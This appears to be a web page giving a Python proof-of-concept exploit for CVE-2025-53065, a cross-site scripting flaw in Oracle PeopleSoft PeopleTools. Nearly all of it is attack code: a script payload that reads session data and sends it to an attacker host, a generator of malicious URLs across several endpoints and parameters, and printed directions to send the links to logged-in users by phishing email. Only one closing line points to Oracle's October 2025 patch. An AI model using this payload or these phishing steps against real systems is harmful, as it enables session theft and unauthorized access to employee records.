CVE-2025-53065 Oracle PeopleSoft PeopleTools PIA核心组件漏洞

# CVE-2025-53065 - Oracle PeopleSoft PeopleTools PIA Core Technology XSS PoC # This PoC demonstrates a reflected/stored XSS attack vector via PIA Core Technology # Note: Requires a victim user to be authenticated and click the malicious link import requests from urllib.parse import urlencode, quote TARGET_URL = "https://target-peoplesoft.example.com/psp/ps/" # PIA Core Technology common endpoints PIA_ENDPOINTS = [ "/psp/ps/?cmd=login", "/psp/ps/EMPLOYEE/HRMS/c/ROLE_EMPLOYEE.TL_EMPLOYEE_HOME.GBL", "/psc/ps/EMPLOYEE/HRMS/c/ROLE_EMPLOYEE.TL_EMPLOYEE_HOME.GBL" ] def craft_xss_payload(): """Craft a malicious XSS payload targeting PIA Core Technology parameters""" # JavaScript payload to steal session and perform unauthorized actions js_payload = ( "var xhr = new XMLHttpRequest();" "xhr.open('GET', '/psp/ps/EMPLOYEE/HRMS/c/SESSION_INFO.GBL', true);" "xhr.onload = function() {" " var data = xhr.responseText;" " new Image().src = 'https://attacker.example.com/exfil?d=' + btoa(data);" "};" "xhr.send();" ) return js_payload def build_malicious_url(endpoint, vulnerable_param, payload): """Build a malicious URL with injected XSS payload""" # Inject payload into a commonly reflected parameter in PIA components params = { vulnerable_param: f"<script>{payload}</script>", "ICType": "Panel", "ICElementNum": "0" } malicious_url = f"{TARGET_URL.rstrip('/')}{endpoint}?{urlencode(params)}" return malicious_url def deliver_payload(malicious_url): """Simulate delivery of the malicious URL to the victim""" print(f"[*] Malicious URL crafted: {malicious_url}") print("[*] Send this URL to an authenticated PeopleSoft user via phishing email") print("[*] When the victim clicks, the script executes in their browser context") print("[*] Attack result: Unauthorized data read/modify via victim's session") return malicious_url if __name__ == "__main__": payload = craft_xss_payload() # Common vulnerable parameters in PIA Core Technology vulnerable_params = ["ICValue", "PAGE", "SEARCHTEXT", "KEYWORDS"] for endpoint in PIA_ENDPOINTS: for param in vulnerable_params: url = build_malicious_url(endpoint, param, payload) deliver_payload(url) print("---") # Example malicious URL format: # https://target/psp/ps/?ICValue=<script>var xhr=new XMLHttpRequest();xhr.open('GET','/psp/ps/EMPLOYEE/HRMS/c/SESSION_INFO.GBL',true);xhr.onload=function(){new Image().src='https://attacker.com/exfil?d='+btoa(xhr.responseText);};xhr.send();</script> # Mitigation: Apply Oracle CPU October 2025 patch for PeopleTools 8.60/8.61/8.62